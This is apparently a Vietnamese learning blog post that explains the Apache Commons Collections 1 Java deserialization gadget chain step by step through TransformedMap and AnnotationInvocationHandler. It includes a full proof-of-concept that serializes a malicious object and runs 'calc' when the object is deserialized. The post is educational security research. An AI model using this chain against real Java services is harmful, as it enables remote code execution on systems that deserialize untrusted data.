- 1. Một vài khái niệm cần nắm
- 2. Phân tích
- 2.1. InvokerTransformer.transform
- 2.2. TransformedMap.checkSetValue
- 2.3. AbstractMapEntryDecorator.MapEntry
- 2.4. AnnotationInvocationHandler
- 2.5. Giải quyết vấn đề Runtime không thể serialize
- 2.6. ChainedTransformer
- 2.7. Giải quyết vấn đề câu lệnh if
- 2.8. Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy
- 3. Lời kết
Một vài khái niệm cần nắm
Trước tiên chúng ta cần hình dung lớp Runtime sẽ exec câu lệnh như nào, ở đây mình có sử dụng kiến thức reflection mà mình đã có bài viết về nó, các bạn có thể tham khảo thêm.
- Lớp java.lang.reflect.Method có phương thức invoke, nó dùng để invoke method của object được truyền vào ở tham số đầu tiên, và với các tham số của method này là Object args (tham số lưu dưới dạng object).
1
2
3public Object invoke(Object obj, Object... args) throws IllegalAccessException,
IllegalArgumentException,
InvocationTargetException - Trong lớp Runtime có phương thức exec dùng để exec câu lệnh trên system.
- Bây giờ mình sẽ thực hiện invoke method exec của lớp runtime, vì nó là method private nên để sử dụng chúng ta cần setAccessible(“true”).
1
2
3
4
5
6
7
8
9
10
11
12package org.example;
import java.lang.reflect.*;
public class runtime{
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
execMethod.setAccessible(true);
execMethod.invoke(runtime, "calc");
}
}
Phân tích
Sơ đồ tóm tắt chuỗi.
InvokerTransformer.transform
Chain này bắt đầu từ lớp InvokerTransformer. Lớp này implements interface Transformer.
Hàm tạo của lớp InvokerTransformer:
Object[] args
ở đây nhận một Object với kiểu String.Class[] paramTypes
nhận một Object của lớp Class
Trong trường structure tìm đến method transform trong class InvokerTransformer ta thấy:
- Đầu tiên, nó thực hiện lấy class của object input là tham số của phương thức transform.
- Tiếp theo nó thực hiện lấy phương thức với tên phương thức là tham số iMethodName của object của lớp InvokerTransformer, và iParamTypes là lớp đại diện cho kiểu tham số của phương thức này rồi gán vào object method có kiểu là Method.
Sau đó nó thực hiện invoke method là iMethodName của của object input với tham số là iArgs.
Có nghĩa khi chúng ta thực hiện invoker.transform(object)
nó sẽ tương đương với việc chúng ta thực hiện invoke() method chứa trong biến invoker của object. Vậy nên ở đây chúng ta có thể sử dụng lớp InvokerTransformer để thực hiện lệnh exec của lớp Runtime.
1 | package org.example; |
Tiếp theo chúng ta cần tìm lớp nào gọi đến phương thức transform của lớp InvokerTransformer.
Ctrl + Chuột trái
click vào phương thức transform:
Phương thức này có nhiều lớp gọi đến, nhưng để có ảnh hưởng lead to CC1 chỉ có 2 lớp là TranformedMap và LazyMap. Bài viết này mình sẽ phân tích theo hướng TranformedMap. LazyMap mình sẽ phân tích sau. Cùng phân tích thôi nào~
TransformedMap.checkSetValue
Hàm này có 3 phương thức gọi đến method transform là checkSetValue
, transformValue
và transformKey
. Tuy nhiên phương thức chúng ta cần đi vào là checkSetValue
bởi vì nó được sử dụng ở những lớp khác và kéo theo một chuỗi gadget.
Phương thức checkSetValue:
Nhìn vào phương thức này chúng ta thấy khá tương đồng với đoạn code ngắn để exec calc với lớp InvokerTranformer rồi phải không.
Bây giờ chúng ta sẽ xem valueTransformer là gì:
valueTransformer là một object của lớp Transformer.
Hàm tạo này khai báo protected nên không thể tạo trực tiếp, chúng ta cần tìm phương thức trả về object của lớp này.
Trong lớp này có phương thức decorate return một object của TransformedMap, các tham số đầu vào tương ứng với các tham số của hàm tạo TransformedMap. Chúng ta sẽ dùng phương thức này để tạo gián tiếp một object của lớp TransformedMap.
valueTransformer là một object kiểu Transformer nên chúng ta có thể truyền vào một object kiểu InvokerTransformer vì thằng này implements Transformer. Phương thức checkSetValue là phương thức protected nên chúng ta cần dùng reflection để gọi đến phương thức này.
Chuỗi poc ngắn từ TranformedMap:
1 | package org.example; |
Đây chỉ là một POC nhỏ, chỉ để chỉ ra rằng lớp TransformedMap có thể kích hoạt được phương thức của lớp Runtime. Vấn đề của chúng ta bây giờ là cần tìm ai gọi đến method checkSetValue này.
AbstractMapEntryDecorator.MapEntry
Tiếp tục Ctrl + chuột trái
click vào checkSetValue, ta thấy phương thức AbstractMapEntryDecorator.MapEntry.setValue() gọi đến checkSetValue.
- Lớp AbstractMapEntryDecorator là abstract cha của lớp TransformedMap.
- setValue là phương thức của lớp Map.Entry.
Trước tiên chúng ta cần hiểu entry là gì à cách nó được sử dụng trong Map. Các bạn có thể tham khảo ở đây.
Hàm setValue() sẽ thực hiện gán giá trị vào key. Với thư viện map, khi truy cập từng cặp khóa-giá trị (entry) này chúng ta sẽ dùng cách duyệt qua từng entry rồi thao tác với từng entry đó.
1 | package org.example; |
Theo dõi hàm setValue:
Phương thức setValue của interface java.util.Map
được implements bởi lớp AbstractMapEntryDecorator
, tiếp đến phương thức setValue của lớp này được Override bởi phương thức setValue của lớp AbstractInputCheckedMapDecorator.MapEntry
.
Khi duyệt map của lớp bằng AbstractInputCheckedMapDecorator.EntrySetIterator
, phương thức next() return ra một AbstractInputCheckedMapDecorator.MapEntry
.
Do đó chúng ta có thể gọi đến hàm setValue() của AbstractInputCheckedMapDecorator.MapEntry
.
Lớp transformedMap implements lớp AbstractInputCheckedMapDecorator
, do đó khi chúng ta decorate một map thành transformedMap và duyệt map bằng entrySet() kết hợp với iterator rồi thực hiện hàm setValue() của transformedMap, nó sẽ thực hiện hàm setValue của lớp AbstractInputCheckedMapDecorator.MapEntry
, phương thức này sẽ gọi đến hàm checkSetValue(). Bạn nào mới học mà không hiểu thì đoạn Map.Entry entry : map.entrySet()
là làm tắt bỏ bước define Iterator tuy nhiên nó cũng iterator bên trong đó nhé.
Tiếp tục viết poc từ phương thức này:
1 | package org.example; |
Nó đã kích hoạt được lệnh exec của lớp Runtime. Bây giờ chúng ta sẽ tìm xem có phương thức readObject nào gọi phương thức setValue này không. Click chuột phải vào hàm setValue và chọn Find Usage. Ở đây mình không thể tìm được lớp nào bởi vì mình chưa decompile trực tiếp các file trong jdk8u65, khá nhiều thứ để làm nên thôi mình sẽ tiếp tục làm theo sơ đồ của người ta.
AnnotationInvocationHandler
Ctrl + N
để tìm lớp AnnotationInvocationHandler, trong phương thức readObject của lớp này, chúng ta thấy có phương thức setValue được gọi.
Hàm tạo của lớp AnnotationInvocationHandler:
Hàm readObject của lớp AnnotationInvocationHandler:
1 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { |
Lớp AnnotationInvocationHandler có phạm vi default, nên chúng ta cần lấy lớp này và hàm tạo của nó thông qua reflection, sau đó khởi tạo nó. (stuck cũng lâu phết hic)
- Constructor của lớp Non-public phải lấy bằng phương thức getDeclaredConstructor().
- Tham số thứ nhất của hàm tạo là một lớp, tham số thứ hai là một map.
Một đoạn code nhỏ để test thử việc khởi tạo lớp AnnotationInvocationHandler:
1 | package org.example; |
Đến đây vẫn chưa có gì xảy ra bởi vì:
- Đối tượng Runtime chưa được đặt vào hàm setValue. Và ở đây nó được set là object kiểu
AnnotationTypeMismatchExceptionProxy
, chúng ta không thể kiểm soát được.1
2
3
4
5
6if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
} - Chúng ta chưa làm thõa mãn hai điều kiện dẫn đến hàm setValue trong AnnotationInvocationHandler.readObject.
- Đối tượng Runtime không thể serialize và cần được chuyển đổi thành dạng có thể serialize thông qua reflection.
Giải quyết vấn đề Runtime không thể serialize
Để thõa mãn được điều kiện serialize, mọi thứ trong nó đều phải serialize được. Tuy nhiên Runtime không thể serialize được, vậy nên chúng ta cần dùng Runtime.class để lúc deser, nó sẽ tạo một đối tượng Runtime cho chúng ta.
1 | package org.example; |
Thay vì invoke trực tiếp, chúng ta có thể lợi dụng lớp InvokerTransformer để invoke hàm getRuntime hay invoke method và invoke exec của lớp runtime. Mình sẽ đi từng bước cho các bạn dễ hiểu.
Đầu tiên là invoke method getDeclaredMethod
để lấy ra method getRuntime.
1 | package org.example; |
Tiếp theo là invoke biến getRuntimeMethod
để tạo Runtime object. Rồi thực hiện invoke method exec của object runtime mới tạo ra.
1 | package org.example; |
Để ý ở phần trên chúng ta có các InvokerTransformer nối tiếp nhau, để thuận tiện hơn người ta đã có tạo ra một lớp là ChainedTransformer, nó cũng thực hiện như InvokerTransformer tuy nhiên điểm khác là nó sẽ thực thi theo một chuỗi gắn kết với nhau. Chúng ta sẽ lợi dụng hàm này để thực thi tương tự như trên.
ChainedTransformer
Viết tiếp chain theo ChainedTranformer:
1 | package org.example; |
Kết hợp với TransformedMap chúng ta có chuỗi hoàn chỉnh sau:
1 | package org.example; |
Giải quyết vấn đề câu lệnh if
Đến đây chúng ta vẫn chưa giải quyết vấn đề AnnotationInvocationHandler.readObject sử dụng hàm setValue. Đến đây các bạn nên debug để xử lý dễ dàng hơn nhé.
Đặt breakpoint ở dòng 339 và 341.
Chúng ta cần var7 là một giá trị không null.
Map var3 = var2.memberTypes()
, var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạnObject aihObject = aihClassConstructor.newInstance(Override.class, map);
.var2 = AnnotationType.getInstance(this.type)
: var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạnObject aihObject = aihClassConstructor.newInstance(Override.class, map);
- Code gốc khá là khó hiểu nên các bạn cứ hiểu đơn giản là trong AnnotationType có biến là memberTypes là một map với key là tên của biến trong
Override.class
mình cho vào, và value là kiểu của biến này. Ta gọivar2.memberTypes()
sẽ trả về map này.
Vậy là lỗi ở đây xảy ra do interface Override không có biến nào cả. Chúng ta cần tìm Annotation khác có biến, ở đây chúng ta có annotation Target có một biến. Và đặt lại giá trị trong map làkey=value
vàvalue=bất kỳ
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
String[] cmd = new String[] {"calc"};
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "testtt");
Transformer[] transformers = {
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihClassConstructor.setAccessible(true);
Object aihObject = aihClassConstructor.newInstance(Target.class, map);
serialize(aihObject);
unserialize("ser.bin");
}
}
Chúng ta đã vượt qua được if đầu tiên, và đồng thời if thứ 2 cũng đã vượt qua (không cần để ý đến vì toàn code gốc, đọc vào sẽ tốn thời gian của chúng ta thui à). Tuy nhiên vẫn chưa đủ để exec calc bởi vì chúng ta chưa xử lý vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy
.
Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy
Đến đây mọi thứ được lập trình ra vẫn hỗ trợ cho chain của chúng ta :), lớp ConstantTransformer
tương tự như InvokerTransformer tuy nhiên khi thực hiện transform, thằng ConstantTransformer
sẽ trực tiếp return ra Object mình truyền vào ở hàm tạo chứ không phải Object truyền vào ở hàm Transform, Object này sẽ nối tiếp cho chuỗi sau.
Vậy là chúng ta có thể thực hiện x.Transform(new AnnotationTypeMismatchExceptionProxy....)
Từ đây chúng ta có chuỗi hoàn chỉnh sau:
1 | package org.example; |
Chạy file và máy tính đã bật lên…
Lời kết
Và đến đây là mình đã hoàn thành chain Commons Collections 1 theo hướng TransformedMap, là chain đầu tiên mình làm và bước chân vào con đường Java Security.
Thật sự, khi đọc mã nguồn từ nhà phát hành và tìm hiểu cách các master OOP sử dụng các thư viện, mình nhận thấy rất nhiều kiến thức mình chưa có. Tuy nhiên, nhờ đó, mình đã học được nhiều kiến thức mới về Java OOP.
Hy vọng các bạn nào mới bước chân vào Java Security như mình hãy cố gắng nghiên cứu, đọc hiểu từ từ để có thể hiểu một cách rõ nhất về cái đẹp của Java OOP. Thực sự rất khó cho người mới học nên hy vọng các bạn có thể vượt qua ^^.
Chúc các bạn học tốt~